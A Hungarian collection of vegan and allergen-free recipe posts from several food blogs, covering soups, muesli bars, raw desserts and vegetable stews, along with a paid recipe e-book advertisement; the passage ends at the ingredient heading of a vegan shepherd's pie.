Nagyon egyszerű étel, mégis sokszor elfelejtkezünk róla. Hozzávalók: 4-5 ek. kókuszzsír 2 ek. bio levespor-és ételízesítő 2 ek. sörélesztőpehely friss rozmaring- ízlés szerint 1 ek. fokhagymagranulátum 1 kg burgonya Elkészítés: A burgonyát megmossuk, hámozzuk, majd kókuszsírral megkent és vízzel meglocsolt tepsibe tesszük, ahol fólia alatt 200 fokon 20 percig sütjük. Ekkor levesszük a fóliát, ízesítjük a "vegetával", rozmaringgal és 15 perc alatt ropogósra sütjük. Ekkor adjuk hozzá a fokhagymagranulátumot és a sörélesztőpelyhet, összekeverjük, és salátával tálaljuk.
Vöröslencse krémleves
2015. szeptember 20. Mindennapi ételeink
Ilyen időben nincsen jobb egy meleg levesnél. Ami ráadásul hipp-hopp elkészül, finom és egészséges. Hozzávalók: 20 dkg vöröslencse 1 fej vöröshagyma 2 gerezd fokhagyma 2 közepes burgonya 1 zöldségleves kocka víz 2 dl rizsdresszing 2 ek. kókuszzsír Elkészítés: A hagymát meghámozzuk, felkockázzuk és a kókuszzsír és víz keverékén megpároljuk. Rátesszük a vöröslencsét, a meghámozott, felkockázott krumplit. Ízesítjük, majd felengedjük annyi vízzel, ami kétszeresen ellepi. Puhulásig főzzük, ekkor hozzáadjuk a fokhagymát, majd a rizsdresszinget, és további víz segítségével krémleves állagúra botmixerezzük.
Reggelire fel! - házi müzliszelet, természetes hozzávalókkal (laktózmentes, tojásmentes, hozzáadott cukormentes, vegán)
2015. szeptember 16. Zöld Avocado
vegyes gyümölcsös, házi müzliszelet természetes hozzávalókkal (hozzáadott cukormentes, vegán) Ti mit szoktatok reggelizni? Szeretitek a gabonapelyheket? És a zabot? Ismeritek a müzlit? Gondolom, igen! :-) Ki ne ismerné, ezt az eredetileg alpesi pásztorok által fogyasztott ételt?! A pásztorok után egy zürichi orvos is felfedezte a müzli jótékony hatásait, és elkezdte népszerűsíteni betegei körében. A reggelire fogyasztott, gabonából, magokból és gyümölcsökből álló ételek jót tesznek az emésztésnek, mert rostban sokkal gazdagabbak, mint az egyéb, hagyományos húsos, tojásos, kenyeres reggelik. Eredetileg kizárólag a kórházi betegek napindító étke volt, majd annyira népszerű lett a müzli (müesli), hogy ma már nincs olyan élelmiszerbolt, ahol ne juthatnánk hozzá különböző ízesítésben egy-egy zacskó müzlihez, vagy egy-egy szelet éhségcsillapító energiaszelethez. zabpehelyA zab lassú felszívódásának, az aszalt gyümölcsök magas cukortartalmának és az olajos magvaknak köszönhetően, hosszú ideig telítettség érzést, és energiát tud biztosítani egy tál müzli, vagy egy müzli szelet, egy granola, vagy akár egy feltúrbózott zabkása is reggelire elfogyasztva. Azonban ne dőljünk be az élelmiszergyártók trükkjeinek, és csak azért, mert nem tartalmaz hozzáadott cukrot a kedvenc müzlink, még egyáltalán nem számít diétás ételnek. Fogynivágyók készítsék el otthon a saját müzlijüket, müzliszeletüket, kevés aszalt gyümölccsel, ha biztosra akarnak menni. ;-) Mert a müzli egészséges, de nem fogyókúrás! Az eredeti receptben (pont ellenkezőleg a mai változatokkal) kevesebb volt a zab, és több a gyümölcs. Úgy vélik, hogy valahogy így nézhetett ki a svájci müesli: " 1 evőkanál zabpehely, 1 nagyobb, lehetőleg savanykás, reszelt alma, 1 evőkanál darált mandula vagy mogyoró, egy evőkanál citromlé és ugyanennyi tejszín (cukrozott sűrített tej)." Forrás: Origo Itt a Zöld Avocado gasztroblogon korábban megjelent almás-fahéjas zabmorzsa, egy nagyon hasonló reggeli recept. házi müzliszelet (vegán) Természetesen nem csak reggelire célszerű zabból készült ételeket fogyasztani. Egy müzliszelet, tökéletes utitárs hosszabb túrák közben, utazások alatt, nagyobb kalóriavesztéssel járó fizikai aktivitáskor, vagy akár az iskolatáskában is. A testedzők, sportolók is előszeretettel fogyasztják a különböző energiaszeleteket, fehérje / protein rudakat. Gyors és teljesértékű energiát biztosítanak könnyedén. Bár ezer meg ezer féle variácóban hozzájuthatunk már a boltokból ehhez a finom és egészséges nassolnivalóhoz, a legjobb mégiscsak, ha mi magunk készítjük el otthon. Egyszerű, gyors, sokáig eltárolható, biztosan adalékanyag- és hozzáadott cukormentes, általunk választott magas minőségű hozzávalókból készül, és olyan ízesítéssel alkothatjuk meg az energia szeletünket, amilyennel csak szeretnénk. :-) Én is rendszeresen készítek itthon müzliszeletet, ami aztán a fagyasztóba téve várja a napot, amikor "pont erre van szükségünk". A napot, mikor csak arra van idő, hogy gyorsan valami életmentőt bekapjunk, ami energiával tölt fel, és már rohanunk is tovább. Ilyenkor mindig nagyon hálás vagyok érte, hogy a szabadnapomon rászántam azt a másfél-két órát, és elkészítettem a kedvenc müzliszeletünket. ;-) A fagyasztóból kivéve, 15 perc alatt felenged és már fogyasztható is. Sokféleképpen készítem én is, attól függően, hogy mikor mi van itthon, vagy mikor milyen kedvem van?! ;-) Most egy egyszerű, vegyes gyümölcsös alap receptet mutatok meg nektek, ami zabpehellyel készült. Később hozok még majd más gabonával, és ízesítéssel készített verziókat is. Próbáljátok ki a következő receptet, vagy az arányokat megtartva, formáljátok a saját ízlésetekre! Aki egyszer elkezdi a házi müzliszelet gyártást, nem tudja abbahagyni! :-) Neked van már kedvenc házi müzliszeleted? vegyes gyümölcsös, házi müzliszelet természetes hozzávalókkal (hozzáadott cukormentes, vegán) HOZZÁVALÓK (kb.30 darabhoz) : - 2 csésze apróbb szemű zabpehely (vagy nagyszemű, de akkor egy kicsit daráljuk meg, hogy könnyebben összeálljon a müzli szelet) - 1,5 csésze banán püré (minél érettebb a banán, annál édesebb - 1 tk Himalája só - 1 tk fahéj - 1 csésze tiszta víz - 1/2-1 csésze kókusz reszelék - 1 ek őrölt lenmag - 1,5 csésze apróra tört natúr, olajos mag, dióféle tetszés szerint (pl.: napraforgómag, tökmag, dió, mogyoró, brazildió, kesudió, mandula, szezámmag, mák stb.) - 1,5 - 2 csésze tetszés szerinti aszalt gyümölcs feldarabolva kis darabkákra (pl.: sárgabarack, cseresznye, áfonya, szilva, mangó, mazsola stb. ki mit szeret, de figyeljünk, hogy ne cukrozott aszalt gyümölcsöt vegyünk.) - bármilyen "super food" szívesen növeli a tápanyagértékét egy müzli szeletnek (pl.: goji bogyó, chia mag, kendermag, méh pollen stb.) Aki édesszájú, az tegyen bele 2-3 ek mézet, vagy agave szirupot is. vegyes gyümölcsös, házi müzliszelet sütés előtt (vegán) ELKÉSZÍTÉS: A banán pépet elkeverjük a fahéjjal, sóval, (chia maggal,) és a zabpehellyel. Állni hagyjuk egy fél órát, hogy a zab egy kicsit megszívja magát. Közben felaprítjuk a választott magokat és aszalt gyümölcsöket. Tapadásmentes sütőpapírral béleljük a nagy tepsit. (Ha a sütőpapír nem a legjobb, nem megbízható, akkor kenjük meg a sütőpapírt kevés kókuszolajjal, hogy tuti jó legyen, és ne ragadjon rá a müzliszelet.) házi müzliszelet hozzávalók Egy nagy keverő tálban összedolgozzuk a banános zabot a gyümölcsökkel. Hozzáadunk 1 csésze vizet, és a magokat, meg a kókuszreszeléket. Most már képtelenség keverni, ezért inkább csak vagdossuk a fakanállal, míg nagyjából mindenhová jut mindenből. Akár kézzel is segíthetünk a ,,dagasztásban. A kész, darabos masszát a tepsibe ,,öntjük, és eldolgozzuk laposra. Nem könnyű, mert elég szilárd a massza, de kézzel itt is rásegíthetünk. Ráhelyezünk a nyersanyagra még egy sütőpapírt, és nehezéket pakolunk rá, hogy lenyomja a nyers müzli tészta tetejét, és szép egyenletesen lapos felszínt kapjunk. (tehetünk rá pl.: könyveket, vagy nagy 5 l-es ásványvizes kannákat stb.) Így hagyjuk egy fél órát, majd a nehezékektől és a felső sütőpapírtól megszabadítva, mehet a sütőbe. 170 °C -ra előmelegített sütőben, kb. 25 perc alatt aranybarnára sütjük. De! Közben 10 perc sütés után, vegyük ki az egész tepsit, és vagdossuk be a masszát úgy, hogy egyforma müzliszeleteket kapjunk. Majd mehet vissza a sütőbe a maradék 15 percre. vegyes gyümölcsös, házi müzliszelet (hozzáadott cukormentes, vegán) A megsült müzliszeleteket ha szükséges, még melegen egy lapáttal, toljuk távolabb egymástól, és engedjünk levegőt a sütőpapír és a müzli szelet közé, hogy biztosan ne ragadjon rá. Miután teljesen kihűltek, tegyük félre a másnapi adagot, és a többit - kiporciózva egyesével vagy kettesével - kisebb sütőpapírokba csomagolva tegyük a fagyasztóba. Bármikor amikor csak energiára lesz szükségünk, kiveszünk egy pakkot, és kb.15 perc múlva már újra is tölthetjük magunkat! ;-) vegyes gyümölcsös, házi müzliszelet természetes hozzávalókkal (hozzáadott cukormentes, vegán) Ha csak egy gyors harapnivalóra van szükséged, készíts házi müzliszeletet, hogy táplálkozz, ne csak étkezz! :-) Megjegyzés: Ha lenne házi aszalógépem, azon készíteném el, mert úgy még egészségesebb. Az a baj a sütéssel, hogy magas hőfokon rengeteg értékes tápanyag, enzim megsemmisül, ami a gyümölcsökben, magvakban benne volt. Az alacsony hőmérsékleten történő aszalás (max.42 fok) segít megőrizni ezeket az értékes enzimeket. Ezesetben azonban használjunk csíráztatott zabot, ne zabpelyhet, mert a megfelelő hőkezelés nélkül fogyasztott gabonák súlyos egészségügyi problémákat okozhatnak. vegyes gyümölcsös, házi müzliszelet (hozzáadott cukormentes, vegán)
Cukkinis-karobos sütemény
2015. szeptember 13. Vegán Család
Hozzávalók:
(1 csésze = 2,5 dl)
1 csésze méz (édesszájúaknak 1,5 vagy 2 csésze)
1 csésze hidegen sajtolt olívaolaj vagy napraforgó olaj
2 csésze durvára reszelt cukkini
1 ek vanília aroma vagy fél vaníliarúd őrölve
1 csomag foszfátmentes sütőpor
1 tk só
1 tk őrölt fahéj
fél csésze durvára aprított dió vagy mandula
4 ek karobpor
4 csésze teljes kiőrlésű búzaliszt
2 ek kókusz- vagy gesztenyeliszt (elhagyható)
1,5 ek kukoricakeményítő
kevés víz a kukoricakeményítő kikeveréséhez
[...] Bővebben!
Fügés-SZilvás csokitorta(glutén-tej-tojás-cukor és sütésmentes)
2015. szeptember 10. Gréta konyhája
A hőmérséklet csökkenése fordítottan arányos a csokoládé utáni vággyal, ami azért nem baj, mert nagyszerű mindenmentes desszerteket lehet alkotni úgy, hogy nem kell tartanunk extra zsírpárnák lerakódásától, persze itt is a mérték a fontos wink hangulatjel
A fügés-szilvás csokitorta évek óta hatalmas kedvenc nálunk, és kakaó helyett én már karobbal készítem, úgy is nagyszerű, próbáljátok ki Ti is!
Hozzávalók:
-18,5 cm-es kapcsos tortaforma
A torta alapjához:
150 g mandula (őrölt)
50 g datolya
50 g aszalt füge (friss fügével is isteni, ez esetben nem kell áztatni
fél 1 mk tiszta só
1 ek kókuszolaj (nyers)
A krémhez:
2 db érett avokádó vagy 1 bögre előző este beáztatott kesudió
5 ek kakaópor (cukrozatlan, jó minőségű) vagy karobpor
7 ek kókuszolaj (nyers, folyékony halmazállapotban)
4-5 ek agavé szirup
csipet tiszta só
1 vaníliarúd kikapart magjai
6-7 szem beáztatott leszűrt, majd összeturmixolt aszalt szilva
1. A datolyát és a fügét beáztatjuk egy órára, majd leöntjük róla a vizet. Egy aprítóba tesszük az őrölt mandulával és a kókuszolajjal együtt.
Az így kapott masszát lenyomkodjuk a tortaforma aljára, egyenletesen elosztjuk. Mélyhűtőbe tesszük.
2. Az érett avokádókat (vagy kesut), a kakaót (vagy karobot), az agavé szirupot, a vaníliát, a csipet sót és a kókuszolajat szintén aprítóba helyezzük és pár percig krémessé turmixoljuk a hozzávalókat.
3. Kivesszük a tortaformát a hűtőből, és megkenjük az alapot az aszaltszilva krémmel, majd harmadik rétegként ráhalmozzuk a csokoládékrémet. Egyenletesen eloszlatjuk s egy éjszakára hűtőbe tesszük.
Csodás friss fügével, vagy friss szilvákkal díszíthetjük.
Jó étvágyat!
további receptek és heti menü rendelés : www.gretastohr.com
Mit egyen a gyerek az iskolában? 40 egészséges tízórai és uzsonna ötlet szendvics helyett
2015. szeptember 8. Éltető ételek
A gyerekek egészséges fejlődéséhez teljes értékű ételekre van szükség. Mit is jelent a teljes értékű elnevezés? Az alapanyagból nem vesznek el semmit (nem finomítják) és nem is adnak hozzá semmit (különféle adalékok, színezékek, ízfokozók). De amíg alapélelmiszernek számít a fehér BL55-ös liszt, a kristálycukor és a finomított napraforgóolaj, addig nagy változások nem lesznek. Amennyiben van időnk és lehetőségünk - legalább a tízórait és az uzsonnát - mi magunk csomagoljunk a gyerekünknek. Ötleteket keresel, hogy mit csomagolj a gyerekednek (vagy akár saját magadnak) tízóraira és/vagy uzsonnára? Fontos az, hogy egészséges és tápláló legyen az étel? Mindenképp húsmentes recepteket keresel? Kíváncsi vagy elméleti és gyakorlati tanácsokra is? Akkor ez a receptgyűjtemény neked való! Ugyanis ez a receptgyűjtemény pont erről szól. Ne felejtsd el! A gyereked egészségéért TE vagy a felelős! A receptek többsége: - gluténmentes - NYERS (RAW) - vegán Néhány kérdés, amely felmerülhet benned... Megrendelés után hogyan kapom kézhez a receptgyűjteményt? A vételár megérkezése után e-mailben megkapod a receptgyűjteményt pdf formátumban. Ezután ki is nyomtathatod, vagy akár magaddal viheted a laptopodon, okos telefonodon keresztül a konyhádba. Hogyan tudok fizetni? Átutalással, a fizetési határidő 8 nap. Megrendelés után a fizetési adatokat megkapod e-mailben. Mennyibe kerül ez a letölthető receptgyűjtemény? A kiadvány ára 2290 Ft. Mit kapsz ezért az árért? Egy 52 oldalas kiadványt, melyben vannak elméleti és gyakorlati táplálkozási tanácsok, valamint 40 recept, saját fotóval ellátva. Ízelítőül pár cím a tartalomból: - Alapelvek az ételek készítése során - Miért kerüljük a fehér lisztet, és a belőlük készült édességeket? - De miért is fontos az, hogy kevesebb glutént fogyasszunk? - Mi a baj a kristálycukorral és egyéb mesterséges édesítőkkel? - Milyen édesítőt használhatunk nyugodt szívvel? - Biztosan felmerül a kérdés, hogy ha nem iszik a gyermekünk tejet, akkor lesz-e elegendő kalcium a csontok növekedéséhez? - Miért fontos az olajos magok ?3-?6 aránya? - Miért kell áztatni az olajos magokat? - Mik azok az enzimgátlók? - Datolyás-sárgarépás trüffel - Áfonyás müzligolyó - Kókuszos zabkása golyó - Diós, datolyakrémes puliszkagolyó - Gyümölcsös morzsasüti - Áfonyás muffin - Serpenyős lepény Rendeld meg itt! Ez a megrendelés elektronikus úton megkötött szerződésnek minősül, mely fizetési kötelezettséggel jár, és amelyre az elektronikus kereskedelmi szolgáltatások, valamint az információs társadalommal összefüggő szolgáltatások egyes kérdéseiről szóló 2001. évi CVIII. törvény 5. és 6. §-ában foglaltak irányadóak. A szerződés a távollevők között kötött szerződésekről szóló 1999. (II.5.) Kormányrendelet hatálya alá tartozik. Ennek érdekében az elektronikus úton leadott megrendelések esetén a megrendelő 14 napon belül indoklás nélkül elállhat a szerződéstől abban az esetben, ha még nem került birtokába az elektronikus letöltéshez szükséges link. Elállási szándékodat a megrendeléstől számított 14 napon belül e-mailben jelezheted (riczu.aniko73@gmail.com). A szerződést a megrendelő űrlap kitöltésével és a Küldés gombra való kattintással Riczu József egyéni vállalkozóval kötöd (Adószám: 49495744-2-25) Fizetési feltételek: Megrendelésed után visszajelzést küldünk a megrendelés adatairól, valamint elküldjük a fizetési információkat. A fizetési határidő 8 nap.
Szilvás pite teljes kiörlésű tönkölyliszttel
2015. szeptember 7. Élj harmóniában
Szeptemberben szilva szezon van:) A szilva jótékony hatásairól írtam korábban bejegyzést (itt olvashatod) . Mi minden héten készítünk valami szilvásat. Már raktam ki szilva csatni receptet és egy szilvás sütemény receptet is. Most egy szilvás pitét készítettem. Sajnos kicsit nehezen szeletelhető lett, de az íze finom volt a férjem szerint. Mivel én nem nagyon eszem édességeket mindig másoknak készítek és izgulok, amikor valami újat próbálok sütni:) Hozzávalók: 30 dkg teljes kiőrlésű tönkölyliszt 30 dkg fehér tönkölyliszt 25 dkg vaj (vegánoknak lehet kókuszzsír) 10 dkg darált mandula (lehet dió is vagy el is hagyhatod) 10 dkg barna nádcukor 1 csg. sütőpor vanília, reszelt citromhéj csipet só 1,5-2 dl víz Töltelékhez: 1,5 kg szilva fahéj szükség esetén cukor Előkészítésnek a szilvákat mosd meg, magozd ki és szedd félbe - ha jobban szereted szétfőzve, akkor vágd negyedekre. A száraz hozzávalókat keverd össze egy tálba, majd a vajat morzsold el benne végül tedd hozzá a vizet. A cél, hogy egy gyúrható tésztát kapj. A tészta 2/3-át nyújtsd ki és bélelj ki vele a tepsit. Én sütőpapíron szoktam nyújtani és csak beleemelem ilyenkor:) A tészta maradék 1/3-át is nyújts ki és szeld csíkokra - ebből lesz a rács a pitén. Szilvákat keverd el fahéjjal, ha édesebben szereted cukrot is szórhatsz hozzá. Majd a tésztára halmozd fel a szilvákat és helyezd fel a rácsokat. 180 fokra előmelegített sütőben süsd meg. Vegyszermentes (bio) alapanyagokat használj!
Mandulalisztes keksz
2015. szeptember 6. Mindennapi ételeink
Ez a keksz nem is keksz, mert finom puha, "habos" és tulajdonképp olyan, mintha marcipánt csemegéznénk. Nagyszerű. Ma kb. 5 perc szabadidőm volt, ennyi elég az összeállításához. A sütés közben pedig már végezhetjük a dolgainkat. :-) Hozzávalók: 2 bögre mandulaliszt 1 bögre kókusz kb. 4 ek. kókuszzsír 10 dkg eritritol 1 ek. útifű maghéj kb. 1 dl víz -- meggy Elkészítés: Először a száraz alapanyagokat keverjük össze, majd hozzáadjuk a nedveseket. Ezután amennyiben még szükséges, adunk hozzá vizet/mandulalisztet, és golyókat formálunk, majd kilapítjuk azokat. Közepébe mindegyiknek az ujjunkkal lyukat fúrunk, amibe meggyet teszünk. Sütőpapíros tepsibe tesszük és 180 fokon 25 perc alatt kisütjük.
Csokis-meggyes zabgolyó
2015. szeptember 2. Éltető ételek
Újabb finomság készült, ez fog holnap a gyerekek uzsonnás dobozába kerülni. Aszalt gyümölcs, olajos mag és zabpehely... igazán tápláló finomság. Hozzávalók: - 10 dkg zabpehely - 5 dkg aszalt meggy - 5 dkg mazsola - 15 dkg datolya - 10 dkg áztatott/szárított dió - 5 dkg kókuszreszelék darálva - 5 dkg csokireszelék - 2-3 dkg szárított hajdinacsíra - 3-4 csepp narancsolaj - 1 evőkanál méz vagy juharszirup Elkészítése: - Az aszalványokat késes robotgéppel dolgozzunk össze. - A diót adjuk hozzá, és pár másodpercig pörgessük meg, hogy összetörje a diót (de ne nagyon). - A kókuszreszeléket kávédarálón megdaráljuk, hogy az olaj kissé kicsapódjon. - Kézzel gyúrjuk hozzá a többi hozzávalót is, és gombócozzuk. - Forgassuk meg kókuszreszelékbe.
Vegán zöldbabfőzelék
2015. szeptember 1. Éltető ételek
A főzelékeket bizony el lehet olyan módon is készíteni, hogy a gyerekek is megegyék. Én szeretem ezeket a főzelékeket csak úgy minden nélkül, de akár egy zöldségfasírot is készíthetünk hozzá. Hozzávalók (4-5 adag): - 1 kg zöldbab - 1 vöröshagyma - 2 evőkanál kókuszolaj - 1 paprika - 2 paradicsom - 1 teáskanál őrölt pirospaprika - 3 gerezd fokhagyma - 1 mindenmentes zöldségleveskocka - só, bors - 2 dl rizstejszín - 3 evőkanál kukoricaliszt - 1 evőkanál friss citromlé - 1 teáskanál balzsamecet - 1 kis marék metélőhagyma Elkészítése: - A hagymát vágjuk fel kis kockára, majd a kókuszolajon kezdjük el pirítani. Egy pici vizet öntsünk hozzá, hogy jobban zaftosodjon. - A paprikát és a paradicsomot is kockázzuk fel, majd adjuk a hagymához. Addig süssük, amíg jó kis lecsós alapunk nem lesz. Ezután egy picit krumplitörővel vagy villával/botmixerrel egy kicsit pürésítsük. - Adjuk hozzá a zöldbabot, szórjuk meg a pirospaprikával és reszeljük bele a fokhagymát is. - Öntsünk rá annyi vizet, hogy éppen ellepje. Fűszerezzük és a leveskocka is bele kerülhet.Főzzük puhára.A kukoricalisztből és a rizstejszínből készítsünk egy habarást, majd öntsük a főzelékre. Főzzük pár percig, hogy besűrűsödjön.Ízesítsük ecettel és citromlével, majd beleszórhatjuk a metélőhagymát is.Már csak rottyantsuk össze, és kész is van.
Tápanyagban gazdag, sütésmentes, csíkos szelet (gluténmentes, laktózmentes, tojásmentes, nyers, vegán)
2015. augusztus 28. Zöld Avocado
Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) Lassan vége a nyárnak, kezdődik az iskola, letellik a szabadság, elindul a mókuskerék. Nem panaszkodhatunk, mert az idén bőven kijutott a napsütésből, a melegből, a strandon töltött órák számából, és még az országot sem kellett elhagynunk, hogy egy mediterrán éghajlatú tengerparton érezzük magunkat. Elég volt leruccani a Balatonra, kikérni egy koktélt, és élvezni a magyar tenger látványát, a semmittevést, a pihenést, természetesen az árnyékból. ;-) Nem meglepő, hogy keveset álltunk a tűzhely mellett, és igyekeztünk inkább gyorsan elkészíthető, lédús ételeket, édességeket fogyasztani, még az esti kerti partik alkalmával is. Úgy érzem akkor lesz igazán szép ez a történet, ha az utolsó forró nyári hétvégét is, egy sütésmentes, gyorsan elkészíthető, hűsítő, ízletes, és tápanyagban gazdag édességgel zárom a Zöld Avocado gasztroblogon. :-) Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) Egy hűtőre, egy turmix gépre, és egy kávédarálóra lesz szükségünk hozzá, és néhány természetes alapanyagra. Nem igényel sem sütést, sem főzést, sem tartósítószert, vagy plusz édesítést. Könnyen emészthető, gyomorbarát, enzimgazdag, ásványi anyagokban, vitaminokban bővelkedő, energiadús, tápláló, diétás nassolnivaló, amit étel allergiások is bátran fogyaszthatnak! :-) (Kivétel a diófélékre allergiások.) Bármilyen könnyen kocsonyásodó, kevésbé lédús gyümölccsel elkészíthetitek ezt a desszertet. Egy házi, cukor- és tartósítószermentes lekvárt kutyulunk a választott gyümölcsből az édesség tetejére. Nálam ez megint a fekete áfonya volt. Nagyon szeretjük, és lassan vége az idei évi fekete áfonya szezonnak, így még utoljára ő lett a befutó ennél a receptnél is. Remélem nem bánjátok, és a korábbi áfonyás szelet, áfonyás chia puding reggeli, és banán palacsinta után, még ezt a csíkos szeletet is szívesen megkóstoljátok házi fekete áfonya lekvárral a tetején. De ha mégsem, akkor készítsétek el pl.: lila szőlővel, eperrel, egressel, sárgabarackkal, szederrel stb. Bármivel, ami könnyen "lekvárosodik". Ha túl sok leve van, azt csepegtessétek le és igyátok meg külön. ;-) Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) És hogy miért is fogyasszunk rendszeresen fekete áfonyát? "Az áfonya többek között Észak-Amerikában őshonos növény, és régóta elismert és fontos része az amerikai indiánok étrendjének. Az indiánok jöttek rá annak idején, hogyha e bogyós gyümölccsel dörzsölik be a szárított húsokat, akkor lassíthatják azok romlását. A közelmúltban a Journal of Clinical Nutrition folyóiratban közzétett, nemrégiben készült tanulmány megállapította, hogy azon személyeknél, akik napi 15 dkg áfonyát fogyasztottak rendszeresen, a vérben lévő ANTIOXIDÁNSOK MENNYISÉGE JELENTŐSEN EMELKEDETT, és a kutatók szerint ez elengedhetetlen a különböző szív- és érrendszeri megbetegedések , a cukorbetegség, az öregedés, a rák, a makula degeneráció és a szürkehályog kialakulásának megelőzéséhez. - a vérben lévő antioxidánsok fokozott jelenléte csökkenti a mellrák kialakulásának kockázatát - az áfonya képes csökkenteni és megelőzni az öregkori betegségek (mint például az Alzheimer-kór és az elbutulás) hatásait - az antioxidánsok védenek a sejtszerkezetet és a DNS-t károsító szabad gyökökkel szemben, melyek számos degeneratív betegség okozói - az áfonya segít megőrizni az egészséges bőrt, és csökkenti a kor előrehaladtával kialakuló bőrhibákat - emésztésre gyakorolt pozitív hatása: az áfonya pektinben gazdag rostja enyhíti a hasmenés és a székrekedés tüneteit. Emellett, a gyümölcsben lévő tanninok csökkentik az emésztőrendszer gyulladását, míg a polifenolok bizonyítottan antibakteriális tulajdonságokkal rendelkeznek. - az áfonya antioxidáns védelme a szervezet vércukor szabályozó rendszerére is kedvező hatással van - rendszeres fogyasztása kimutathatóan javítja a vérzsírok egyensúlyát, vagyis csökkenti a teljes koleszterin szintjét, segít fenntartani az egészséges vérnyomás értékét - kedvező hatást gyakorol a vércukorszint optimális szabályozására - segítik a retinasejtek gyors regenerálódását " Forrás: Dietless.hu Most, hogy már látjátok, hogy miért is fogyasztunk gyakran fekete áfonyát, nézzük, hogyan készítjük el ezt a rendkívül egyszerű, sütés- és főzés tudományt nem igénylő édességet?! Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) HOZZÁVALÓK: áfonya lekvár réteghez: - 300 g friss fekete áfonya - 1 ek útifűmaghéj / vagy chia mag (elengedhetetlen, mert ettől kocsonyásodik meg a "lekvár") fehér, kókusz réteghez: - 1,5 bögre kókuszreszelék - 4 ek tetszőlegesen választott édesítő szirup pl.: Agave szirup, rizs szirup, datolya szirup, vagy jó minőségű méz - 1/2 dl + 2 ek kókusztej - 2 ek kókusz olaj (kókuszzsír) - 1/2 bögre natúr kesudió (beáztatva vízbe előző éjjel) barna, csokis réteghez: - 1,5 bögre natúr kesudió és mandula keverék (áztassuk be előző éjjelre vízbe, hogy az emésztést nehezítő enzimgátlók kioldódjanak) - 4-5 szem mag nélküli aszalt datolya vagy aszalt füge vagy aszalt szilva (áztassuk be előző éjjelre vízbe) - 2 ek kókusz olaj (kókuszzsír) - 3 ek karobpor (jó minőségű kakaó port is használhatunk, de a karob egészségesebb) Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) ELKÉSZÍTÉS: A házi cukor- és tartósítószermentes "lekvárhoz" a megmostott áfonyát turmixoljuk le, majd keverjünk hozzá útifűmaghéjat vagy chia magot, és tegyük az egészet a hűtőbe kb. fél órára. Kész is a házi áfonya "lekvár". A csíkos süti alsó rétegéhez, a barna "tésztához", az előre beáztatott kesut és mandulát (áztató víz nélkül) daráljuk le. A választott aszalt édes kötőanyagot (szilva, datolya, vagy füge) tegyük a dupla késes zöldség aprító / daráló részbe, és készístünk belőle pépet (áztató víz nélkül). A darált kesu és mandula keveréket, az aszalt datolya pépet, a kókusz olajat és a karob port kézzel gyúrjuk jó alaposan össze, míg egy nagy masszát nem kapunk. Ezt a "csokis" masszát aztán nyomkodjuk a választott sütemény formánk, vagy tálunk aljára. Ez lesz a sütemény alja. Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) A középső, fehér, kókuszos réteghez őröljünk porrá 1 bögre kókuszreszeléket, illetve külön daráljunk meg egy 1/2 bögre előre beáztatott kesudiót (áztató víz nélkül). A kókuszreszelék port, a darált kesudiót, 2 ek kókusztejjel turmixoljunk krémes állagúra. Adjuk hozzá a maradék 1/2 bögre kókuszreszeléket, a választott édesítő szirupot, 1/2 dl kókusztejet és 2 ek kókusz olajat, majd kézzel dolgozzuk össze az egész kókuszos tölteléket. Egyengessük a barna alsó rétegre. Kenjük a sütemény tetejére a házi áfonya "lekvárunkat", és ha van otthon dekorációnak szórjunk rá kókusz chipset a tetejére. Majd az egészet tegyük be a hűtőbe 3-4 órára, hogy jól vágható süteményt kapjunk. Ha nem fontos a szépség, akkor akár azonnal fogyaszthatjuk is az így elkészült gyors, egyszerű, mindenmentes, tápláló és nagyon finom édességünket! ;-) Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán) Ne felejtsd el: Táplálkozz, ne csak étkezz! :-) Megjegyzés: "Ha maximalizálni szeretnénk ezen gyümölcs antioxidáns hatását, akkor lehetőleg bioáfonyát vásároljunk! Egy közelmúltban készült tanulmány ugyanis közvetlenül hasonlította össze egy organikusan, illetve nem organikusan termesztett áfonyatípus (Vaccinium corymbosum L.) teljes antioxidáns hatását, és a kutatók látványos különbségeket találtak a bio előírásoknak megfelelően termesztett áfonya javára. Ez utóbbi ugyanis a hagyományos áfonyához képest jelentősen nagyobb koncentrációban tartalmazott fenol és antocián antioxidánsokat, és a teljes antioxidáns kapacitása is lényegesen nagyobb volt." Forrás: Dietless.hu Áfonyás - kókuszos - csokis csíkos szelet (mindenmentes, nyers, vegán)
A legfenségesebb pásztor pite – Sheperd’s pie – (vegán)
2015. augusztus 24. Zizi kalandjai
Réges régen látogatóban járt nálunk két angol barátunk, Jay és Jon. Jay-t ismertük, ő hozta magával Jon-t, aki “katasztrófára” számított Magyarországot illetően. Aztán persze nagyon nagyot csalódtak, amikor kiderült, hogy milyen szép az országunk, milyen csodás vendéglátásban van részük és milyen fantasztikus, jófej barátaink vannak. Ki akarták fejezni hálájukat a vendéglátásért, ezért úgy döntöttek, hogy főznek nekünk valami nagyon angolosat. Jon fel is hívta az anyukáját, hogy pontos instrukciókat kapjon egy recept elkészítését illetően, ami nem volt más, mint a Sheperd’s pie (pásztor pitének lehetne fordítani…). Megvettük együtt az alapanyagokat, majd birtokba vették a konyhát, ahonnan mi teljes mértékben ki lettünk tiltva és két angol pasi, akik még életükben nem főztek semmit, készítettek nekünk egy finom vacsorát nyolc főre. Néha-néha azért bepillantottunk a konyhában, hogy mennyire van káosz, de a fiúk egész jól kezelték a helyzetet.
Az akkor készült verzió húsos volt, de, amit én hoztam most, az egy vegán verzió. Annyira, de annyira jól sikerült, hogy az egyik húsevő nagypapa is megnyalta utána a tíz ujját. Egy kevés maradt belőle és másnap csak remélni tudtam, hogy se I. se Ádi nem kér belőle és az egészet én ehetem meg vacsorára. Így is történt. Azóta még egyszer elkészítettem és újfent nem tudtam betelni vele. Állandó étel lesz a családi “étlapunkon”, az már tuti! A bele kerülő zöldségek természetesen ízlés és hűtőtartalom szerint változtathatók: cukkini, padlizsán, gomba, csicseriborsó, bab, stb., amit találtok, azt tegyetek bele! Készítettem hozzá zöld köretet leveleskelből, de párolt fokhagymás spenóttal vagy mángolddal is isteni lehet!
Vegán pásztor pite (Sheperd’s pie)
Hozzávalók:
